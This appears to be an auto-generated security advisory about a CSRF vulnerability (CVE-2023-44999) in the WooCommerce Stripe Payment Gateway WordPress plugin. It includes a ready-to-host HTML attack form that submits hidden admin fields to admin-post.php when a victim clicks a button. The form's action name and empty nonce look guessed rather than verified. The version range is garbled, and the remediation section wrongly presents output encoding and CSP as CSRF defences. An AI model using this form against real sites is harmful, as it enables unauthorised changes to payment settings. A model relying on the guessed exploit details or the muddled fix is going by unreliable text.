Summary: A Cross-Site Request Forgery (CSRF) vulnerability has been discovered in the WooCommerce Stripe Payment Gateway plugin for WordPress. This issue affects versions of the plugin from N/A through 7.6.. Exploiting this vulnerability may allow attackers to perform unauthorized actions, potentially resulting in account compromise or unauthorized purchases.

Introduction

Security researchers have recently discovered a significant CSRF vulnerability within the WooCommerce Stripe Payment Gateway plugin for WordPress. This particular vulnerability has been assigned the CVE-2023-44999 identifier. This poses a serious security risk to all WordPress installations using this plugin, as attackers could potentially exploit this vulnerability to perform various unauthorized actions on behalf of a victim, including unauthorized purchases or even account compromise.

In order to protect your WordPress installation and user base from this potential threat, it is critically important that you update your WooCommerce Stripe Payment Gateway plugin to the latest version as soon as possible.

Affected Versions

This CSRF vulnerability affects WooCommerce Stripe Payment Gateway plugin versions from N/A through 7.6..

Exploitation of this vulnerability could potentially look like the following HTML code

<!DOCTYPE html>
<html>
<head>
  <title>CSRF Exploit</title>
</head>
<body>
  <h1>Exploiting CSRF in WooCommerce Stripe Payment Gateway</h1>
  <form action="https://your-wordpress-instance/wp-admin/admin-post.php"; method="POST">
    <input type="hidden" name="action" value="woocommerce_update_payment_gateway">
    <input type="hidden" name="_wpnonce" value="">
    <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wc-settings&tab=checkout&section=stripe">
    <input type="hidden" name="gateway_order[]" value="stripe">
    <input type="submit" value="Click here to exploit CSRF vulnerability">
  </form>
</body>
</html>

By getting a victim to click the "Click here to exploit CSRF vulnerability" button on this malicious webpage, the attacker could potentially trigger unauthorized actions on behalf of the victim.

1. The CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44999
2. The WooCommerce Stripe Payment Gateway plugin on WordPress official directory: https://wordpress.org/plugins/woocommerce-gateway-stripe/

Exploit Details

The CSRF vulnerability occurs because the plugin fails to properly validate the user's input parameters and fails to properly generate nonce values for key actions. As a result, attackers can potentially create malicious forms or sites that trigger various unauthorized actions on behalf of the victim when executed.

To remediate this vulnerability, users must update their WooCommerce Stripe Payment Gateway plugin to version 7.6.1 or higher, which properly validates user inputs and generates nonce values. It is recommended that users implement input validation, output encoding, and other security measures like Content Security Policy (CSP) to guard against CSRF vulnerabilities.

In conclusion, this is a severe CSRF vulnerability affecting a popular WordPress plugin used for online payments. We urge you to update your WooCommerce Stripe Payment Gateway plugin to the latest version as soon as possible to better secure your WordPress installation, protect user data, and reduce the risk of unauthorized purchases and account compromise.

Timeline

Published on: 03/27/2024 14:15:09 UTC
Last modified on: 03/27/2024 15:49:41 UTC